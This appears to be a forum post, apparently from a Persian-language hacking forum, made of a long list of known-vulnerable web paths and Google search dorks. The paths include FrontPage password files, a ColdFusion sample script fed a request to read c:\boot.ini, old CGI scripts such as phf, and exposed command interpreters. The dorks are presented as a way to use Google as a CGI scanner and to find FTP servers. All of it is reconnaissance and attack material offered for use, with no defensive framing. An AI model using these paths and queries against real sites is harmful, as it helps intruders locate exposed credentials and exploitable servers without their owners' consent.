/_vti_bin/_vti_aut/dvwssr.dll 

/_vti_bin /fpcount.exe 

/_vti_inf.html 

/_vti_pvt 

/_vti_pvt/administrators.pwd 

/_vti_pvt/authors.pwd 

/_vti_pvt/service.pwd 

/_vti_ pvt/shtml.dll 

/_vti_pvt/shtml.exe 

/_vti_pvt/users.pwd 

/adsamples /config/site.csc 

/bin 

/carbo.dll 

/ccbill/secure/ccbill.log 

/cfdocs/cfmlsyntaxcheck.cfm 

/---/docs/sourcewindow.cfm 

/---/email/getfile.cfm?filename=c:\boot.ini 

/---/displayopenedfile.cfm 

/---/exprcalc.cfm 

/---/openfile.cfm 

/---/sendmail.cfm 

/cfdocs/snippets/fileexists.cfm 

/cfdocs/snippets/viewexample.cfm 

/cgi 

/cgi-bin 

/cgi-bin/AT-admin.cgi 

/cgi-bin/AT-generate.cgi 

/cgi-bin/Admin_files/order.log 

/cgi-bin/AnyForm2 

/cgi-bin/Cgitest.exe 

/cgi-bin/Count.cgi 

/cgi-bin/FormHandler.cgi 

/cgi-bin/GW5/GWWEB.EXE 

/cgi-bin/UltraBoard.cgi 

/cgi-bin /UltraBoard.pl 

/cgi-bin/add_ftp.cgi 

/cgi-bin/adp 

/cgi-bin/adpassword.txt 

/cgi-bin /ads.setup 

/cgi-bin/aglimpse 

/cgi-bin/alibaba.pl 

/cgi-bin/allmanage.pl 

/cgi-bin/allmanage/adp 

/cgi-bin/allmanage/k 

/cgi-bin/allmanage/settings.cfg 

/cgi-bin/allmanage/userfile.dat 

/cgi-bin/allmanageup.pl 

/cgi-bin/anyboard.cgi 

/cgi-bin/architext_query.pl 

/cgi-bin/authorize/dbmfiles/users 

/cgi-bin /ax-admin.cgi 

/cgi-bin/ax.cgi 

/cgi-bin/bigconf.cgi all 

/cgi-bin/bizdb1-search.cgi 

/cgi-bin/bnbform.cgi 

/cgi-bin/cachemgr.cgi 

/cgi-bin/calender.pl 

/cgi-bin/calender_admin.pl 

/cgi-bin/campas 

/cgi-bin/cart.pl 

/cgi-bin/cgiwrap 

/cgi-bin /classifieds.cgi 

/cgi-bin/clickresponder.pl 

/cgi-bin/cmd.exe 

/cgi-bin/counterfiglet 

/cgi-bin/dbmlparser.exe 

/cgi-bin/dig.cgi 

/cgi-bin/dnewsweb 

/cgi-bin/edit.pl 

/cgi-bin/environ.cgi 

/cgi-bin/excite 

/cgi-bin/faxsurvey 

/cgi-bin/filemail.pl 

/cgi-bin /files.pl 

/cgi-bin/finger 

/cgi-bin/finger.pl 

/cgi-bin/formmail.pl 

/cgi-bin/fpcount.exe 

/cgi-bin/fpexplore.exe 

/cgi-bin/gH.cgi 

/cgi-bin/get32.exe 

/cgi-bin /glimpse 

/cgi-bin/guestbook.cgi 

/cgi-bin/handler 

/cgi-bin/htimage.exe 

/cgi-bin/htmlscript 

/cgi-bin/htsearch 

/cgi-bin /htsearch 

/cgi-bin/iisadmpwd/achg.htr 

/cgi-bin/iisadmpwd/aexp.htr 

/cgi-bin /iisadmpwd/aexp2.htr 

/cgi-bin/iisadmpwd/anot.htr 

/cgi-bin/imagemap.exe 

/cgi-bin/info2www 

/cgi-bin/infosrch.cgi 

/cgi-bin/input.bat 

/cgi-bin/input2.bat 

/cgi-bin/jj 

/cgi-bin/k 

/cgi-bin/loadpage.cgi 

/cgi-bin /mailform.exe 

/cgi-bin/maillist.pl 

/cgi-bin/makechanges/easysteps/easysteps.pl 

/cgi-bin/man.sh 

/cgi-bin/netstat 

/cgi-bin/nph-publish 

/cgi-bin/nph-test-cgi 

/cgi-bin/passwd 

/cgi-bin/passwd.txt 

/cgi-bin/perl.exe 

/cgi-bin /perlshop.cgi 

/cgi-bin/pfdispaly.cgi 

/cgi-bin/pfdisplay 

/cgi-bin /pfdisplay.cgi 

/cgi-bin/phf 

/cgi-bin/php.cgi 

/cgi-bin/plusmail 

/cgi-bin /postcard.pl 

/cgi-bin/printenv 

/cgi-bin/process_bug.cgi 

/cgi-bin/query 

/cgi-bin/responder 

/cgi-bin/rguest.exe 

/cgi-bin/rpm_query 

/cgi-bin/rwwwshell.pl 

/cgi-bin /search.cgi 

/cgi-bin/settings.cfg 

/cgi-bin/sojourn 

/cgi-bin/survey.cgi 

/cgi-bin/test-cgi 

/cgi-bin/test.bat 

/cgi-bin /textcounter.pl 

/cgi-bin/tpgnrock 

/cgi-bin/tst.bat 

/cgi-bin/tst.bat 

/cgi-bin/unlg1.1 

-------------------------------------------------------------------------------- 

-==[Find Ftp Server] 

inurl:"ftp." index.of 

-------------------------------------------------------------------------------- 

-==[Using Google as a CGI Scanner]

inurl:cgi-bin/cgiemail/uargg.txt 

inurl:random_banner/index.cgi 

inurl:random_banner/index.cgi 

inurl:cgi-bin/mailview.cgi 

inurl:cgi-bin/maillist.cgi 

inurl:cgi-bin/userreg.cgi 

inurl:iissamples/ISSamples/SQLQHit.asp 

inurl:iissamples/ISSamples/SQLQHit.asp 

inurl:SiteServer/admin/findvserver.asp 

inurl:scripts/cphost.dll 

inurl:cgi-bin/finger.cgi

صفحات: 1 2

Amin_Mansouri

Amin_Mansouri

Amin_Mansouri

Amin_Mansouri

Amin_Mansouri

Amin_Mansouri

son of wisdom

امیر

Amin_Mansouri

Amin_Mansouri